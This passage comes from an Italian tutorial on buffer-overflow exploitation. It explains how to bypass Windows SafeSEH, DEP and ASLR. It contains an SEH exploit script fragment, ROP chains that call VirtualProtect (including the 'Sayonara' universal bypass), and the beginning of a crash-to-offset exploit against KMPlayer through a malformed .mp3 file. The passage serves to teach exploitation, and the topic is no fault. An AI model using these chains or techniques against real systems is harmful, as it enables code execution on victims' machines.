$junk=$junk."\xeb\xf9\xff\xff"; #jump back 7 bytes (nseh)
$junk=$junk.pack('V',0x00280b0b); #seh
print "Payload length : " . length($junk)."\n";
system("C:\\env\\gsvitable\\Release\\safeseh.exe \"$junk\"\r\n");
--------- safeseh.pl END --------------------
- Data Execution Prevention: (Hardware DEP)
Si tratta di una protezione implementata via hardware dal processore. Similmente a Linux, fa in
modo di marcare come non eseguibili tutte le porzioni di memoria che non hanno necessità di
essere interpretate come istruzioni, quindi eseguite.
Quindi dove il processore supporta tale funzionalità, i byte nello stack non possono più essere
eseguiti.
Dipende dalla versione del sistema DEP, ma nelle comuni piattaforme Windows, il sistema DEP
protegge tutti i processi che sono compatibili, quelli che non lo sono vengono inseriti in una
exception list.
Utilizzando “procexp.exe” fornito da sysinternals, possiamo verificare quali processi, nel
nostro sistema, utilizzano DEP. Selezioniamo la colonna che visualizza questa informazione:
E’ possibile vedere il livello DEP impostato su ogni processo: (win 7)
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 176 di 193
Bypassare questa protezione sembra difficile. In realtà esistono vari metodi.
Uno di questi è denominato ret2libc. Si tratta però di una tecnica molto limitativa, non fa uso
di shellcode, ma utilizza direttamente funzioni delle librerie, di conseguenza il payload è
costituito solamente da indirizzi di ritorno dalle suddette funzioni e dagli argomenti
sistematicamente posizionati nel buffer.
Invece di utilizzare solamente questo approccio, un’altra tecnica che si basa sulla precedente,
mira a chiamare l’API VirtualProtect().
L’exploit consiste in una prima parte realizzata con la tecnica ret2libc che chiama
VirtualProtect() per abilitare l’esecuzione della locazione di memoria, poi si salta a tale
locazione contenente ovviamente la shellocode.
La chiamata a funzione è così composta:
BOOL WINAPI VirtualProtect(
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flNewProtect,
__out PDWORD lpflOldProtect
);
lpAddress è un puntatore ad un indirizzo che rappresenta il punto di partenza della regione di m
emoria a cui cambiare i permessi di accesso.
dwSize rappresenta la dimensione della regione, quindi quanti byte dopo lpAddress sono coinvolti
. (in realtà vengono considerate le pagine di memoria che costruiscono tale regione)
flNewProtect è l’opzione che specifica la nuova politica di accesso. Dato che noi vogliamo
renderla eseguibile, il parametro PAGE_EXECUTE (0x10).
lpflOldProtect rappresenta lo stato di accesso precedente a quello impostato.
Se la chiamata termina con successo, il valore ritornato è diverso da zero.
Sullo stack come indirizzo di ritorno della funzione dobbiamo impostare una istruzione jmp, che
permetterà di saltare, in qualche modo, alla regione di memoria abilitata all’esecuzione.
Dato che DEP può essere impostato per lavorare in modi differenti, (optin, optout, etc), il
sistema (ntdll) è in grado di disabilitare DEP per ogni processo a runtime. Il settaggio di DEP
è contenuto nella struttura KPROCESS. E’ possibile verificare, modificare tale impostazione
utilizzando l’API NtSetinformationProcess().
La sintassi di questa API è la seguente:
NtSetInformationProcess(
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 177 di 193
IN HANDLE ProcessHandle,
IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength
);
Questa costituisce una alternativa a VirtualProtect(). Anche in questo caso si può tentare di
chiamare questa funzione utilizzando la tecnica ret2libc.
I parametri di questa funzione sono:
ProcessHandle rappresenta l’handle del processo (HANDLE)-1
ProcessInformationClass rappresenta il tipo di informazioni che vengono richieste. (0x22)
ProcessInformation è un puntatore all’opzione da abilitare per il processo, anche in questo caso
il valore puntato è 0x2.
ProcessInformationLength è la dimensione. Quindi 4 byte.
Anche in questo caso, l’indirizzo di ritorno deve provvedere ad eseguire un jmp verso la
shellcode caricata in memoria.
- Address Space Layout Randomization:
Tale protezione è stata inserita a partire dalle ultime versioni di Windows, (Windows server
2008 e Windows 7 ma sono inseriti anche nei sistemi precedenti, tramite aggiornamenti service
pack).
Come sapete questa prevede la randomizzazione degli indirizzi di tutti i moduli eseguibili,
dello heap e dello stack dei processi.
Ad ogni avvio del computer, gli indirizzi cambiano valore rendendo inutile qualsiasi exploit che
tiene conto di questi indirizzi. Nel registro di sistema la chiave da modificare è
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ Il valore DWORD
“MoveImages”, 0 per off, -1 per on.
I programmi compilati con compilatore Microsoft con il flag /DYNAMICBASE impostato utilizzano
l’ASLR. Per rendersi conto è sufficiente osservare la mappatura degli indirizzi dei moduli
caricati in memoria del processo ad ogni riavvio.
Con immunity debugger è possibile anche utilizzare il comando “!ASLRdynamicbase” per ricavare i
moduli che hanno ASLR abilitato.
Su windows XP sp3 abbiamo:
ASLR /dynamicbase Table
Base Name DLLCharacteristics Enabled?
00400000 safeseh.exe 0x8140 ASLR Aware (/dynamicbase)
7c910000 ntdll.dll 0x0000
7c800000 kernel32.dll 0x0000
78520000 MSVCR90.dll 0x0140 ASLR Aware (/dynamicbase)
In questo caso l’ASLR è attivo per 2 moduli sui 4.
Per mezzo di questi due moduli possiamo bypassare il problema cercando in questi gli indirizzi
che ci occorrono.
Su windows 7 la situazione è diversa:
ASLR /dynamicbase Table
Base Name DLLCharacteristics Enabled?
73e60000 gdiplus.dll 0x0140 ASLR Aware (/dynamicbase)
76420000 kernel32.dll 0x0140 ASLR Aware (/dynamicbase)
76bf0000 msvcrt.dll 0x0140 ASLR Aware (/dynamicbase)
75220000 CRYPTBASE.dll 0x0540 ASLR Aware (/dynamicbase)
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 178 di 193
73b40000 dwmapi.dll 0x0140 ASLR Aware (/dynamicbase)
77100000 ntdll.dll 0x0140 ASLR Aware (/dynamicbase)
77260000 sechost.dll 0x0140 ASLR Aware (/dynamicbase)
77250000 LPK.dll 0x0540 ASLR Aware (/dynamicbase)
00e50000 calc.exe 0x8140 ASLR Aware (/dynamicbase)
76d90000 USP10.dll 0x0140 ASLR Aware (/dynamicbase)
76750000 IMM32.DLL 0x0140 ASLR Aware (/dynamicbase)
762c0000 ole32.dll 0x0140 ASLR Aware (/dynamicbase)
766e0000 SHLWAPI.dll 0x0140 ASLR Aware (/dynamicbase)
761f0000 USER32.dll 0x0140 ASLR Aware (/dynamicbase)
739f0000 WindowsCodecs.dll 0x0140 ASLR Aware (/dynamicbase)
...
Anche qui esistono strategie più o meno efficienti per bypassare la protezione.
Il “partial EIP overwrite” è una di queste. Si basa sul fatto che gli indirizzi sono si random,
ma è solo la parte bassa dell’indirizzo che di fatto, cambia. Ad esempio, l’indirizzo 0x22334455
ha parte variabile solo in 2233, mentre la parte alta rimane sempre la stessa ad ogni boot.
Allora ciò che possiamo fare è sovrascrivere solo la parte variabile dell’indirizzo lasciando
invariata la seconda. Allo stesso tempo si deve avere nel range di 255 indirizzi, una istruzione
di salto verso un registro, ad esempio ‘jmp esp’ oppure ‘push esp; ret’. Questo naturalmente
abbassa le probabilità che l’exploit sia sfruttabile.
0x19] (Arch: NT) – Tecniche miste e ROP
Up
Anche su Windows, i progettisti di sistemi operativi hanno dotato le loro creazioni di sistemi
di sicurezza che cercano di limitare le possibilità dell’attaccante nel caso questo identifichi
falle nei programmi o nel sistema operativo stesso.
Protezioni come DEP e ASLR, insieme, rendono inutilizzabili tutti gli exploit visti fino ad ora
eccetto casi particolari dove questi utilizzano tecniche sofisticate e miste fra loro.
Come su Linux, queste tecniche richiedono grandi capacità, e conoscenze approfondite sulla
struttura interna della memoria di un processo. Probabilmente richiede una conoscenza pari a
quella che hanno gli stessi progettisti dei sistemi di sicurezza. Non è infatti completamente
errato dire che hacker e progettisti di sistemi come PaX collaborano fra loro e in certi casi si
tratta delle stesse persone.
Ora vedremo, basandoci su una piattaforma Windows, le possibili tecniche in grado di bypassare
le moderne protezioni. Principalmente anche qui si tratterà di inserire codice ROP, ovvero
“Return-oriented-programming”. In grado di riutilizzare il codice statico presente nei processi
richiamandolo dagli indirizzi virtuali posti sullo stack. In questo modo si risolve il problema
principale, ovvero quello dello stack non eseguibile.
La difficoltà di questa tecnica sta nella difficoltà che si può incontrare nella ricerca dei
gadget di codice opportuni. Abbiamo già visto i metodi con cui questi possono essere cercati
manualmente, ma naturalmente questa procedura può essere automatizzata con un algoritmo Galileo,
implementandolo in un script perl.
Intanto cominciamo a dire che il sistema DEP può essere attivo in modalità diverse:
- OptIn, Soltanto un limitato set di moduli sono protetti con DEP.
- OptOut, Tutti i processi e servizi di windows sono protetti, eccetto quelli presenti nella
lista di eccezioni.
- AlwaysOn, equivalente a OptOut ma senza eccezioni.
- AlwaysOff, DEP non è attivo, tutti i processi non sono protetti.
In aggiunta a queste modalità Microsoft ne aggiunge un’altra chiamata “Permanent DEP”, nella
quale viene utilizzata la chiamata “SetProcessDEPPolicy(PROCESS_DEP_ENABLE)”. La sintassi della
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 179 di 193
chiamata è la seguente:
BOOL WINAPI SetProcessDEPPolicy(
__in DWORD dwFlags
);
Con i possibili valori per dwFlags:
0: Disabilita DEP.
PROCESS_DEP_ENABLED [0x00000001]: Abilità DEP in modo permanente sul processo corrente. Non può
più essere disabilitato per il processo.
PROCESS_DEP_DISABLE_ATL_THUNK_EMULATION [0x00000002]: Disabilita l’emulazione DEP-ATL per il
processo corrente.
Il default è dipendente dalla versione di Windows:
- Win XP SP2, SP3, Vista SP0: OptIn
- Win Vista SP1: OptIn + Permanent DEP
- Win 7: OptIn + Permanent DEP
- Win Server 2003 SP1 and up: OptIn
- Win Server 2008 and up: OptOut + Permanent DEP
Il programma bcdedit.exe è in grado di modificare tali configurazioni.
Quali sono allora le reali possibilità che abbiamo in questi casi? DEP rappresenta in effetti
una formidabile soluzione che ci complica la vita non poco.
Sta di fatto che con sistemi DEP e ASLR assieme nessun exploit è possibile a meno di trovare
moduli senza ASLR. Normalmente questo è fattibile, in quanto molti software di terze parti non
utilizzano queste tecnologie o comunque non le utilizzano assieme.
Apriamo ProcessExplorer.exe su Windows 7 per renderci conto di questo scenario. Tutti i processi
di sistema hanno DEP+ASLR attivi, DEP permanente.
Ma ci sono anche processi di programmi di terze parti configurati diversamente. Questi sono oggi
le minacce reali per i sistemi Microsoft. Sicuramente stiamo assistendo, proprio per questo
motivo, allo spostamento degli attacchi verso programmi server e di sistema ai programmi per il
WEB. O meglio, ai browser e a tutto ciò che gira attorno a questi.
Se pensiamo ad esempio ai plug-in dei vari browser WEB, questi molto spesso possono essere di
terze parti e altrettanto di frequente non hanno protezioni efficaci come gli altri processi. Se
in questi moduli venissero identificati bachi legati alla gestione di url o altro, allora
diventa possibile sfruttarli per eseguire codice arbitrario.
Con ProcessExplorer.exe diamo uno sguardo ai processi a rischio.
Notiamo che sono diversi, quasi tutti quelli di terze parti non possiedono protezioni adeguate
ad impedire attacchi.
Tra questi si possono anche trovare software aventi moduli che comunicano attraverso internet.
Questo rende vulnerabile il nostro sistema dall’esterno.
Ad esempio il programma Skype risulta essere privo sia di ASLR che di DEP.
Come si sa, Skype ci consente di comunicare via internet. Se si trovasse un modo per eseguire
codice dalla sua immagine si potrebbe sfruttare il bug per accedere.
Un altro esempio è il programma TmProxy.exe di Trend.
I dettagli del programma fanno pensare che esso è ipoteticamente adatto ad un attacco, dato che
è in ascolto su un socket di rete e non ha nè DEP né ASLR attivi:
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 180 di 193
Comunque, noi sappiamo anche che bypassare protezioni che contano solo su DEP è possibile con
una semplice ROP.
Riepilogando, le situazioni possibili tra le varie configurazioni DEP / ASLR sono:
- No ASLR:
L’exploit richiede si sviluppi un payload ROP utilizzando indirizzi che arrivano da qualsiasi
modulo.
- Uno o più moduli non hanno l’ASLR attivo:
Devono essere sfruttati i moduli presenti che non hanno ASLR attivo. Questo però il più delle
volte significa sviluppare l’intero exploit come ROP. A volte questo risulta impossibile, altre
volte è molto difficile.
- Tutti i moduli hanno ASLR attivo:
Questa situazione il più delle volte impedisce lo sfruttamento della vulnerabilità. A volte è
però possibile sfruttare qualche debolezza del sistema per scoprire l’indirizzo di qualche
modulo e utilizzare il codice di questo per realizzare una shellcode ROP in modo dinamico.
Ad ogni modo, la tecnica ROP su Windows può avere un obiettivo diverso che su Linux. Ovvero
possiamo pensare di rendere eseguibile una porzione di memoria, quella che contiene il nostro
codice, ed eseguirlo.
La shellcode a questo punto può essere “classica”. L’exploit sarà così composto da una prima
parte ROP, che ha il compito di rendere parte dello stack eseguibile o allocare nuova memoria
con accesso read/write/execute e poi saltando a questa, eseguire una shellcode.
Le funzioni che permettono queste operazioni sono le seguenti:
- VirtualAlloc(MEM_COMMIT + PAGE_READWRITE_EXECUTE) + copy memory. Questa procedura ci permette
di creare una nuova regione di memoria eseguibile.
- HeapCreate(HEAP_CREATE_ENABLE_EXECUTE)+ HeapAlloc() + copy memory. Anche in questo caso
creiamo una nuova regione di memoria utilizzando l’heap.
- SetProcessDEPPolicy(). Ci permette di cambiare l’impostazione di DEP per il processo corrente
(ma solo quando questo è in modalità OptIn o OptOut solamente)
- NtSetInformationProcess(). Questa cambierà la politica del sistema DEP per il processo.
- VirtualProtect(PAGE_READ_WRITE_EXECUTE). Questa cambierà il tipo di accesso per il processo.
- WriteProcessMemory(). Questa serve per copiare la nostra schellcode in una regione di memoria,
decidendo il tipo di accesso che avrà.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 181 di 193
L’approccio con il quale i parametri vengono piazzati sullo stack è diverso, perché dobbiamo
pensare che stiamo ragionando sull’istruzione ‘ret’ e le operazioni che svolge quando essa viene
chiamata. L’aspetto dello stack sovrascritto avrà circa la configurazione seguente:
junk
rop gadgets to craft the stack
function pointer
function parameter
function parameter
function parameter
---
Maybe some more rop gadgets
nops
shellcode
More data on the stack
ESP ->
Relativamente all’ambiente abbiamo le seguenti possibilità di chiamata:
API/OS XP SP2 XP SP3 Vista SP0 Vista SP1 Windows 7 Win 2003 SP1 Win 2008
VirtualAlloc Si Si Si Si Si Si Si
HeapCreate Si Si Si Si Si Si Si
SetProcessDEPPolicy No(1) Si No(1) Si No(2) No(1) Si
NtSetInformationProcess Si Si Si No(2) No(2) Si No(2)
VirtualProtect Si Si Si Si Si Si Si
WriteProcessMemory Si Si Si Si Si Si Si
1 = non esiste
2 = fallirà date le impostazioni default di permanent DEP
Il metodo più portabile è VirtualProtect().
Uno dei compiti essenziali, è sicuramente la ricerca dei gadgets. Nei capitoli precedenti
abbiamo visto come farlo manualmente su Linux. Su Windows la cosa non cambia. Qualsiasi modulo
caricato in memoria può essere utilizzato per cercare gadgets validi per i nostri scopi,
l’importante è che questo sia statico.
Una cosa molto utile è affrontare questo lavoro con un apposito tool. Molti sono quelli
disponibili in rete.
Per un esempio ci soffermiamo sullo script mona.py scritto da “Corelan team”.
Questo può essere utilizzato all’interno di Immunity debugger come per pvefindaddr.py
L’opzione ‘rop’ di mona è in grado di cercare all’interno di uno o più moduli, i gadgets utili
per la realizzazione di exploit ROP. Ma non solo.
Mona classifica questi gadgets in classi e suggerisce quelli migliori da utilizzare. Inoltre
tenta di costruire in modo automatico l’intera catena di gadgets per chiamare la funzione
VirtualProtect(), ovvero quella più frequentemente utilizzata.
Una volta caricato lo script avviamo con il debugger di Immunity un programma adatto all’esempio
ed utilizziamo mona in questo modo:
!mona rop -m ‘imgengine,DTCommonRes,Engine,DTLite,DTLiteUI’ –n
Analizzando l’eseguibile ‘DTLite.exe’, un semplice programma che carica le immagini “.iso” dei
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 182 di 193
cd-rom, otteniamo un output simile al seguente:
---------- Mona command started on 2011-07-20 09:25:40 ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D - Pointer access level : X
0BADF00D - Ignoring pointers that have null bytes
0BADF00D - Only querying modules "imgengine,DTCommonRes,Engine,DTLite,DTLiteUI"
0BADF00D [+] Generating module info table, hang on...
0BADF00D - Processing modules
0BADF00D - Done. Let's rock 'n roll.
0BADF00D [+] Preparing log file '_rop_progress_DTLite.exe_000010b4.log'
0BADF00D - (Re)setting logfile _rop_progress_DTLite.exe_000010b4.log
0BADF00D [+] Progress will be written to _rop_progress_DTLite.exe_000010b4.log
0BADF00D [+] Maximum offset : 40
0BADF00D [+] (Minimum/optional maximum) stackpivot distance : 8
0BADF00D [+] Max nr of instructions : 6
0BADF00D [+] Split output into module rop files ? False
0BADF00D [+] Enumerating 22 endings in 5 module(s)...
0BADF00D - Querying module DTLite.exe
0BADF00D !Skipped search of range 00475000-004ae000 (Has nulls)
0BADF00D !Skipped search of range 0046b000-00475000 (Has nulls)
0BADF00D !Skipped search of range 00401000-00418000 (Has nulls)
0BADF00D - Querying module Engine.dll
0BADF00D - Querying module DTLiteUI.dll
0BADF00D !Skipped search of range 001d1000-001f2000 (Has nulls)
0BADF00D - Querying module DTCommonRes.dll
0BADF00D - Querying module imgengine.dll
0BADF00D - Search complete :
0BADF00D Ending : RETN 1C, Nr found : 18
0BADF00D Ending : RETN 02, Nr found : 8
0BADF00D Ending : RETN 0C, Nr found : 153
0BADF00D Ending : RETN, Nr found : 7922
0BADF00D Ending : RETN 0A, Nr found : 1
0BADF00D Ending : RETN 04, Nr found : 333
0BADF00D Ending : RETN 06, Nr found : 2
0BADF00D Ending : RETN 14, Nr found : 27
0BADF00D Ending : RETN 00, Nr found : 12
0BADF00D Ending : RETN 12, Nr found : 1
0BADF00D Ending : RETN 28, Nr found : 2
0BADF00D Ending : RETN 10, Nr found : 110
0BADF00D Ending : RETN 24, Nr found : 5
0BADF00D Ending : RETN 08, Nr found : 293
0BADF00D Ending : RETN 18, Nr found : 27
0BADF00D - Filtering and mutating 8914 gadgets
0BADF00D - Progress update : 1000 / 8914 items processed (Wed 2011/07/20 09:25:46 AM) - (11%)
0BADF00D - Progress update : 2000 / 8914 items processed (Wed 2011/07/20 09:25:50 AM) - (22%)
0BADF00D - Progress update : 3000 / 8914 items processed (Wed 2011/07/20 09:25:54 AM) - (33%)
0BADF00D - Progress update : 4000 / 8914 items processed (Wed 2011/07/20 09:25:58 AM) - (44%)
0BADF00D - Progress update : 5000 / 8914 items processed (Wed 2011/07/20 09:26:02 AM) - (56%)
0BADF00D - Progress update : 6000 / 8914 items processed (Wed 2011/07/20 09:26:07 AM) - (67%)
0BADF00D - Progress update : 7000 / 8914 items processed (Wed 2011/07/20 09:26:11 AM) - (78%)
0BADF00D - Progress update : 8000 / 8914 items processed (Wed 2011/07/20 09:26:16 AM) - (89%)
0BADF00D - Progress update : 8914 / 8914 items processed (Wed 2011/07/20 09:26:21 AM) - (100%)
0BADF00D [+] Preparing log file 'rop_virtualprotect.txt'
0BADF00D - (Re)setting logfile rop_virtualprotect.txt
0BADF00D [+] Preparing log file 'ropfunc.txt'
0BADF00D - (Re)setting logfile ropfunc.txt
0BADF00D [+] Preparing log file 'ropfunc.txt'
0BADF00D - (Re)setting logfile ropfunc.txt
VirtualProtect register structure (PUSHAD technique)
----------------------------------------------------
EAX = NOP (0x90909090)
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 183 di 193
ECX = lpOldProtect (Writable ptr)
EDX = NewProtect (0x40)
EBX = Size
ESP = lPAddress (automatic)
EBP = ReturnTo (ptr to jmp esp - run '!mona jmp -r esp -n -o')
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
VirtualProtect() 'pushad' rop chain
------------------------------------
rop_gadgets =
[
0x018b9f08, # POP EDX # RETN (Engine.dll)
0x????????, # <- ptr to ptr to VirtualProtect()
0x014dcebf, # MOV ESI,DWORD PTR DS:[EDX] # RETN (imgengine.dll)
0x01490803, # POP EBP # RETN (imgengine.dll)
0x017d589c, # ptr to 'jmp esp' (from Engine.dll)
0x014d7482, # POP EAX # RETN (imgengine.dll)
0xfffffdff, # value to negate, target value : 0x00000201, target reg : ebx
0x01701734, # NEG EAX # RETN (Engine.dll)
0x01505938, # XOR EBX,EAX # RETN (imgengine.dll)
0x014efd02, # POP ECX # RETN (imgengine.dll)
0x014b0101, # RW pointer (lpOldProtect) (-> ecx)
0x0183ca81, # POP EDI # RETN (Engine.dll)
0x0183ca82, # ROP NOP (-> edi)
0x014d7482, # POP EAX # RETN (imgengine.dll)
0xffffffc0, # value to negate, target value : 0x00000040, target reg : edx
0x01701734, # NEG EAX # RETN (Engine.dll)
0x018252c5, # ADC EDX,EAX # RETN (Engine.dll)
0x014d7482, # POP EAX # RETN (imgengine.dll)
0x90909090, # NOPS (-> eax)
0x018e1042, # PUSHAD # RETN (Engine.dll)
# rop chain generated by mona.py
# note : this chain may not work out of the box
# you may have to change order or fix some gadgets,
# but it should give you a head start
].pack("V*")
0BADF00D
0BADF00D [+] Preparing log file 'stackpivot.txt'
0BADF00D - (Re)setting logfile stackpivot.txt
0BADF00D
0BADF00D [+] Writing stackpivots to file stackpivot.txt (1509 pivots)
0BADF00D [+] Preparing log file 'rop_suggestions.txt'
0BADF00D - (Re)setting logfile rop_suggestions.txt
0BADF00D [+] Writing suggestions to file rop_suggestions.txt
0BADF00D [+] Preparing log file 'rop.txt'
0BADF00D - (Re)setting logfile rop.txt
0BADF00D [+] Writing results to file rop.txt (7431 interesting gadgets)
0BADF00D Done
0BADF00D Action took 0:01:08.016000
Come vedete i risultati sono salvati in diversi file di testo.
All’interno del file ‘rop_suggestions.txt’ sono presenti centinaia di gadgets che mona ha
trovato all’interno dei moduli specificati e classificato come ideali per la produzione della
catena ROP. Lo splendido lavoro di mona non è solo questo. Come vedete sia dal log che dal file
‘rop_virtualprotect.txt’, mona è in grado di abbozzare già lo schema per chiamare l’API
VirtualProtect(). Ci resta solo fare i complimenti al Corelan Team per questo eccellente lavoro.
Il problema di questi tipi di exploit è che sono fortemente dipendenti da come il sistema
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 184 di 193
operativo è stato configurato. Non è più possibile scrivere exploit portatili al livello visto
in precedenza dove il codice riconosceva il sistema operativo e agiva di conseguenza. Ora i
nostri sforzi devono essere indirizzati a scrivere codice dedicato ad un particolare sistema
operativo con un livello di aggiornamento specifico, in questo modo abbiamo i medesimi gadget ai
medesimi indirizzi.
Anche se molto recentemente è stato trovato un nuovo modo, a quanto pare universale, per
bypassare i sistemi DEP e ASLR nello stesso tempo. Questo stratagemma è efficace la dove sono
presenti moduli statici in memoria. La seguente è la catena ROP ideate e ritenuta valida per
bypassare DEP e ASLR in molteplici occasioni.
#+-------- --- -
#| White Phosphorus Exploit Pack Sayonara ASLR DEP Bypass Technique
#| Code
#+--
from struct import pack
def wp_sayonaraASLRDEPBypass(size=1000):
# White Phosphorus
# Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]
#
# This technique uses msvcr71.dll which has shipped unchanged
# in the Java Runtime Environment since v1.6.0.0 released
# December 2006.
#
# web: http://www.whitephosphorus org
# mail: support@whitephosphorus org
# sales: http://www.immunityinc.com/products-whitephosphorus.shtml
print "WP> Building Sayonara - Universal ASLR and DEP bypass"
size += 4 # bytes to shellcode after pushad esp ptr
depBypass = pack('<L', 0x7C344CC1) # pop eax;ret;
depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret;
depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2}
depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtect
depBypass += pack('<L', 0x7C365645) # pop esi;ret;
depBypass += pack('<L', 0x7C345243) # ret;
depBypass += pack('<L', 0x7C348F46) # pop ebp;ret;
depBypass += pack('<L', 0x7C3487EC) # call eax
depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
depBypass += pack("<i", -size) # {size}
depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size}
depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx}
depBypass += pack('<L', 0x7C3439FA) # pop edx;ret;
depBypass += pack('<L', 0xFFFFFFC0) # {flag}
depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag}
depBypass += pack('<L', 0x7C354648) # pop edi;ret;
depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret;
depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment}
depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret;
depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret;
depBypass += pack('<L', 0x7C36683F) # push esp;ret;
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 185 di 193
In alternativa o in mancanza di questi metodi automatizzati, si ricorre alla ricerca e
composizione manuale. Ma questo non richiede nessuna particolare abilità se non conoscere
l’assembly e pazienza. Lo spirito hacker non si danneggia, invece si evitano i mal di testa
dovuti allo stress.
Dopo queste considerazioni, vediamo un esempio concreto in cui protezioni DEP + ASLR vengono
effettivamente bypassate.
Prendiamo ancora una volta in considerazione un lettore mp3. Questa volta siamo in ambiante
Windows 7 32 bit SP1. Normalmente questa versione di windows è ben protetta, il processo del
programma avrà sicuramente dia ASLR che DEP abilitati.
Il programma è per l’esattezza: “The KMPlayer 3.0.0.1440”.
Avviamo il programma e controlliamo il processo con ProcessExplorer.exe e Immunity debugger.
Se effettuiamo il controllo senza aprire prima nessun file audio, non troviamo nessun modulo non
protetto, dunque non siamo in grado di eseguire alcunchè. Se invece apriamo un file audio “.mp3”
il processo carica a runtime delle dll, queste sono quelle relative ai codec. Tra queste, due in
particolare non vengono protette dal sistema ASLR. L’indagine con lo script ASLRdynamicbase.py
restituisce l’output seguente:
ASLR /dynamicbase Table
Base Name DLLCharacteristics Enabled?
71880000 sensapi.dll 0x0140 ASLR Aware (/dynamicbase)
73a80000 wdmaud.drv 0x0140 ASLR Aware (/dynamicbase)
758c0000 MSASN1.dll 0x0540 ASLR Aware (/dynamicbase)
...
75e50000 SHLWAPI.dll 0x0140 ASLR Aware (/dynamicbase)
770a0000 USER32.dll 0x0140 ASLR Aware (/dynamicbase)
72cd0000 CSCAPI.dll 0x0140 ASLR Aware (/dynamicbase)
64e40000 ashShell.dll 0x0000
73790000 midimap.dll 0x0140 ASLR Aware (/dynamicbase)
74200000 WindowsCodecs.dll 0x0140 ASLR Aware (/dynamicbase)
73750000 OLEACC.dll 0x0140 ASLR Aware (/dynamicbase)
...
778b0000 NSI.dll 0x0540 ASLR Aware (/dynamicbase)
75eb0000 WLDAP32.dll 0x0140 ASLR Aware (/dynamicbase)
6c210000 GrooveIntlResource.dll 0x0540 ASLR Aware (/dynamicbase)
75b00000 KERNELBASE.dll 0x0140 ASLR Aware (/dynamicbase)
6d720000 msi.dll 0x0140 ASLR Aware (/dynamicbase)
00400000 KMPlayer.exe 0x0000
5fb30000 qasf.dll 0x0140 ASLR Aware (/dynamicbase)
76450000 shell32.dll 0x0140 ASLR Aware (/dynamicbase)
761a0000 SETUPAPI.dll 0x0140 ASLR Aware (/dynamicbase)
...
75c70000 wininet.dll 0x0140 ASLR Aware (/dynamicbase)
75920000 WINTRUST.dll 0x0140 ASLR Aware (/dynamicbase)
772d0000 RPCRT4.dll 0x0140 ASLR Aware (/dynamicbase)
73eb0000 ATL.DLL 0x0140 ASLR Aware (/dynamicbase)
75b50000 IMM32.DLL 0x0140 ASLR Aware (/dynamicbase)
6d5d0000 ntshrui.dll 0x0140 ASLR Aware (/dynamicbase)
10000000 PProcDLL.dll 0x0000
5fe30000 mp3dmod.dll 0x0140 ASLR Aware (/dynamicbase)
Come noterete, oltre l’eseguibile, ci sono altri due moduli non protetti. Sfruttando questi
moduli abbiamo alcune speranze di poter fare qualcosa.
Il bug dell’applicazione si trova come al solito nel parser dei file “.mp3”. Se tentiamo di
aprire un file con questa estensione contenente una lunga stringa di caratteri non conformi al
formato .mp3, il programma, in qualche modo, sovrascrive tale contenuto sullo stack. Risalire al
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 186 di 193
tipo di errore che il programma commette è complesso ma fattibile, non rientra però nei nostri
obiettivi. Ciò che dobbiamo fare è solo eseguire alcune prove per capire gli offset critici che
ci occorre sapere.
Per far questo ricorriamo alla solita tecnica con i tools di metasploit.
--------- findEIP.py END --------------------
#!/usr/bin/python
evilfile = "crash.mp3"
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab..."
myfile = open(evilfile,"w")
myfile.write(junk)
myfile.close()
--------- findEIP.py END --------------------
Aprendo il file crash.mp3 generato, il nostro programma KMPlayer si arresterà, windows ci
chiederà (se abbiamo configurato correttamente windbg) se vogliamo eseguirne il debug. Se
rispondiamo si possiamo ricavarci l’indirizzo puntato da EIP al momento del crash.
(a28.ff4): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=336d4632 edx=76ed71cd esi=00000000 edi=00000000
eip=336d4632 esp=065611b8 ebp=065611d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
336d4632 ?? ???
Con pattern_offset.rb ci ricaviamo l’offset in byte che esprime la distanza tra l’inizio del
buffer e l’EIP salvato. La distanza su questo sistema è di 4112 byte.
Analizzando lo stack al momento del crash ci accorgiamo che la nostra stringa non viene posta
contiguamente nello stack ma che ci finisce dopo essere stata troncata, questo non è un problema
solo se la troncatura avviene prima, se così non fosse allora dovremo inserire in ogni spezzone
le istruzioni necessarie per saltare al prossimo, se non ci stiamo in uno. Fortunatamente non è
questo il caso perchè la troncatura avviene solo prima.
